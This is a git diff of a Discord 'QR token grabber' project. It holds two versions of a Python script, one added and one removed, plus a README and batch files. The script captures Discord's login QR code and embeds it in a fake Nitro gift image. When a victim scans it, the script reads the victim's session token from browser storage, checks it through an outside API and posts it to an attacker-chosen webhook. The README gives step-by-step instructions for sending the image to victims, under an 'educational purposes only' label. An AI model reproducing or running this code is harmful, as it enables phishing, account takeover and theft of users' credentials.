diff --git a/QR-dtg.py b/QR-dtg.py new file mode 100644 index 0000000..97a321d --- /dev/null +++ b/QR-dtg.py @@ -0,0 +1,148 @@ +import base64, os, platform, re, requests, time +from bs4 import BeautifulSoup +from colorama import Fore, init +from PIL import Image +from selenium import webdriver + +def clear() -> None: + """Clear the screen; works with "cls" and "clear" commands. + """ + if platform.system() == "Windows": + os.system("cls") + elif platform.system() == "Darwin" or platform.system() == "Linux": + os.system("clear") + else: + pass + + +def generate_qr() -> None: + """Generate a QR code to paste onto a discord nitro template. + """ + qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") + ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") + qr_img.paste(ovly_img, (60, 55)) + qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) + + +def generate_nitro_template() -> None: + """Generate the nitro template using the QR code generated by generate_qr. + """ + nitro_template = Image.open( + os.path.normpath(r"resources/template.png"), + "r" + ) + qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") + nitro_template.paste(qr_img, (120, 409)) + nitro_template.save("discord_gift.png", quality=95) + + +def main(webhook_url) -> None: + """Use selenium webdriver to go to the discord login page. + Then, grab the source of the page and use regex to identify the class + name of the div that contains the QR login image, regardless of + whether the class name changes (this avoids the program breaking + in the future). Finally, wait for a user to log in and then send token + to webhook. + """ + print(f""" +{Fore.LIGHTMAGENTA_EX}Generating QR — do not close until finished!""") + webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" + opts = webdriver.ChromeOptions() + opts.add_experimental_option("detach", True) + driver = webdriver.Chrome(os.path.normpath(r"browser/chromedriver.exe"), options=opts) + driver.get("https://discord.com/login") + time.sleep(5) # Make sure QR has fully loaded before taking source! + source = BeautifulSoup(driver.page_source, features="lxml") + if not (div := re.search(r"qrCode-......", str(source))): + print(f"{Fore.LIGHTRED_EX}Error: \ +the regular expression 'qrCode-......' is not found.") + os._exit(1) + div = div.group(0) + div = source.find("div", {"class": f"{div}"}) + qr_code = div.find("img")["src"] + source = BeautifulSoup(driver.page_source, features="lxml") + div = source.find("div", {"class": "qrCode"}) + file = os.path.join(os.getcwd(), r"resources/qr_code.png") + img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) + + with open(file, "wb") as handler: + handler.write(img_data) + + discord_login = driver.current_url + generate_qr() + generate_nitro_template() + + print(f""" +{Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png! +{Fore.BLUE}Waiting for target user to scan the QR code. . .""") + + while True: + if discord_login != driver.current_url: + token = driver.execute_script(''' +window.dispatchEvent(new Event('beforeunload')); +let iframe = document.createElement('iframe'); +iframe.style.display = 'none'; +document.body.appendChild(iframe); +let localStorage = iframe.contentWindow.localStorage; +var token = JSON.parse(localStorage.token); +return token; + +''') + + print(f""" +{Fore.LIGHTGREEN_EX}The following token has been grabbed: +{token} + +{Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""", +end="") + + if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None: + print("invalid token? (didnt match regex)") + + check = requests.post('https://utilities.tk/tokens/check', json={'token':token}) + + if check.status_code == 401: + print('Account invalid.') + elif check.status_code == 403: + a = check.json()['username'] + print(f"Account locked. `{a}`") + elif check.status_code == 200: + a = check.json()['username'] + print(f"Account valid! `{a}`") + + data = { + "content": f"TKN: {token}\nUser: {a}", + "username": "QR Logr" + } + if webhook_url: + result = requests.post(webhook_url, json=data) + try: + result.raise_for_status() + except requests.exceptions.HTTPError as e: + print(f"{Fore.LIGHTRED_EX}{e}") + else: + pass + break + + driver.quit() + + +if __name__ == "__main__": + init() + clear() + print(f""" + +{Fore.GREEN}QR Discord Token Grabber +{Fore.BLUE}Created by NightfallGT +Using utilities.tk API +Revised by Luci (9P9) +Revised by the-cult-of-integral +Revised by mte0 + +{Fore.LIGHTYELLOW_EX}Enter a webhook URL. +>>> {Fore.LIGHTWHITE_EX}""", end="") + webhook_url = input() + main(webhook_url) + input() + print(f"{Fore.RESET}") + clear() diff --git a/QR_Generator.py b/QR_Generator.py deleted file mode 100644 index 10b2e11..0000000 --- a/QR_Generator.py +++ /dev/null @@ -1,99 +0,0 @@ -from bs4 import BeautifulSoup -from selenium import webdriver -from PIL import Image -import base64 -import time -import os -import requests - -#Set Webhook Here! -url = "Webhook goes here" - - -# Developer: NightfallGT -# Revised by: Luci (9P9) -# Educational purposes only - -def logo_qr(): - im1 = Image.open('temp/qr_code.png', 'r') - im2 = Image.open('temp/overlay.png', 'r') - im2_w, im2_h = im2.size - im1.paste(im2, (60, 55)) - im1.save('temp/final_qr.png', quality=95) - -def paste_template(): - im1 = Image.open('temp/template.png', 'r') - im2 = Image.open('temp/final_qr.png', 'r') - im1.paste(im2, (120, 409)) - im1.save('discord_gift.png', quality=95) - -def main(): - print ("[!] QR Code Token Logger Generator \n") - - options = webdriver.ChromeOptions() - options.add_argument("--headless") - options.add_experimental_option('excludeSwitches', ['enable-logging']) - options.add_experimental_option('detach', True) - driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe') - - print('[?] Awaiting Page to Load!') - driver.get('https://discord.com/login') - time.sleep(5) - print('[*] Page loaded.') - - page_source = driver.page_source - - soup = BeautifulSoup(page_source, features='lxml') - - div = soup.find('div', {'class': 'qrCode-wG6ZgU'}) - qr_code = div.find('img')['src'] - file = os.path.join(os.getcwd(), 'temp/qr_code.png') - - img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) - - with open(file,'wb') as handler: - handler.write(img_data) - - discord_login = driver.current_url - logo_qr() - paste_template() - - print('[!] QR Code has been generated as discord_gift.png \n') - print('[?] Send the QR Code to user and scan. Waiting...') - - while True: - if discord_login != driver.current_url: - print('Grabbing token... \n') - token = driver.execute_script(''' -window.dispatchEvent(new Event('beforeunload')); -let iframe = document.createElement('iframe'); -iframe.style.display = 'none'; -document.body.appendChild(iframe); -let localStorage = iframe.contentWindow.localStorage; -var token = JSON.parse(localStorage.token); -return token; - -''') - print('------------------------------------------------------------------------------------------') - print('Token grabbed:',token) - #================================================================================================================================== - #Token Sent To webhook - - data = { - "content" : f"```Token: {token} ```", - "username" : "Token Logger" - } - result = requests.post(url, json = data) - try: - result.raise_for_status() - except requests.exceptions.HTTPError as err: - print(err) - else: - print("Token Grabbed! Sent to Webook | code {}.".format(result.status_code)) - #================================================================================================================================== - print('------------------------------------------------------------------------------------------') - break - print('Task complete.') - -if __name__ == '__main__': - main() diff --git a/README.md b/README.md index 4181581..944e740 100644 --- a/README.md +++ b/README.md @@ -1,39 +1,27 @@ -# Discord-QR-Scam - -### About -A Python script that automatically generates a Nitro scam QR code and grabs the Discord token when scanned. This tool demonstrates how people can trick others -into scanning their Discord login QR Code, and gain access to their account. Use for Educational Purposes only. +# QR Discord Token Grabber +A python script that generates a scam nitro QR code which can grab a victim's authentication token if scanned. Developed to show how social engineering is performed; use for educational purposes only. ![img1](https://i.ibb.co/BL2Q0jz/Screenshot-527.png) ## Demonstration + ![qr-code](https://user-images.githubusercontent.com/75003671/117522092-fd79ff80-afe3-11eb-938c-23dd68d5927c.gif) ## Usage -1. If you dont have python installed, download python 3.7.6 -and make sure you click on the 'ADD TO PATH' option during -the installation. +1. This project requires [Python >= 3.7.6](https://python.org). When installing Python, make sure to check the *ADD TO PATH* checkbox. -2. Install the required modules > ```pip install -r requirements.txt``` or double click `pip_install_requirements.bat` also make sure to edit "URL" variable within the program to add your webhook! +2. Run the `[1] install_requirements.bat` file. -3. Type ```python QR_Generator.py``` in cmd to run or double click `run_script.bat` +3. Unzip the `browser.7z` file so that the browser folder is in the same directory as the `[2] run.bat` file. -4. Wait for the `discord_gift.png` to be generated. Send the image to the victim and make them scan it. +4. Run the `[2] run.bat` file. -5. QR Code only lasts about 2 minutes. Make sure you send a fresh one to the victim and he is ready to scan. +5. Input your discord webhook link (this link is used to post the authentication token to a channel). Note that, even if you do not input a webhook link, you will still receive the token when it is printed to the console, but note that you will lose this token once the program is closed! -6. When the QR Code is scanned, you will automatically be logged in to their account and the script will grab the Discord token. +6. Wait for `discord_gift.png` to be generated. Then, send the image to a victim for them to scan it. Note that the QR code is only valid for approximately two minutes after creation. -## Troubleshoot -Make sure your chromedriver.exe file is the same version as your current Chrome web browser version. To check your current Chrome version, -paste `chrome://settings/help` in Google Chrome. +7. When the QR code is scanned, you will be logged onto their account and receive their discord authentication token. -if Chrome crashes, +## Need extra help? -1. Make sure your chromedriver.exe file is the same version as your Chrome web browser version -2. Download the latest version chromedriver.exe here: https://chromedriver.chromium.org/downloads -3. Then replace the chromedriver.exe file in the folder. - -## Any Extra Help! - -Join the Support Discord Server: https://discord.gg/a24Sp9bEXu +[Join the discord server for support!](https://discord.gg/a24Sp9bEXu) diff --git a/[1] install_requirements.bat b/[1] install_requirements.bat index 4688f08..9a67bda 100644 --- a/[1] install_requirements.bat +++ b/[1] install_requirements.bat @@ -1,4 +1 @@ -@echo off -title [313] PIP Install Requirements -pip install -r requirements.txt -pause \ No newline at end of file +pip install beautifulsoup4 colorama lxml pillow requests selenium \ No newline at end of file diff --git a/[2] run.bat b/[2] run.bat index 63a5aa4..e1da362 100644 --- a/[2] run.bat +++ b/[2] run.bat @@ -1,4 +1,4 @@ @echo off -title [313] Token QR Stealer [Made by NightFall and Revised By Luci] -python qr_generator.py -pause \ No newline at end of file +title QR Discord Token Grabber [Developed by NightFall, Revised By Luci and the-cult-of-integral] +python QR-dtg.py +title Terminal \ No newline at end of file diff --git a/browser.7z b/browser.7z new file mode 100644 index 0000000..e9be6bf Binary files /dev/null and b/browser.7z differ diff --git a/chromedriver.exe b/chromedriver.exe deleted file mode 100644 index d51602d..0000000 Binary files a/chromedriver.exe and /dev/null differ diff --git a/discord_gift.png b/discord_gift.png deleted file mode 100644 index 2cf115f..0000000 Binary files a/discord_gift.png and /dev/null differ diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 152ced2..0000000 --- a/requirements.txt +++ /dev/null @@ -1,5 +0,0 @@ -beautifulsoup4 -selenium -pillow -lxml -requests \ No newline at end of file diff --git a/resources/final_qr.png b/resources/final_qr.png new file mode 100644 index 0000000..4ecd46a Binary files /dev/null and b/resources/final_qr.png differ diff --git a/temp/overlay.png b/resources/overlay.png similarity index 100% rename from temp/overlay.png rename to resources/overlay.png diff --git a/resources/qr_code.png b/resources/qr_code.png new file mode 100644 index 0000000..da4aa4d Binary files /dev/null and b/resources/qr_code.png differ diff --git a/temp/template.png b/resources/template.png similarity index 100% rename from temp/template.png rename to resources/template.png diff --git a/temp/final_qr.png b/temp/final_qr.png deleted file mode 100644 index 7c0809c..0000000 Binary files a/temp/final_qr.png and /dev/null differ diff --git a/temp/qr_code.png b/temp/qr_code.png deleted file mode 100644 index 525058a..0000000 Binary files a/temp/qr_code.png and /dev/null differ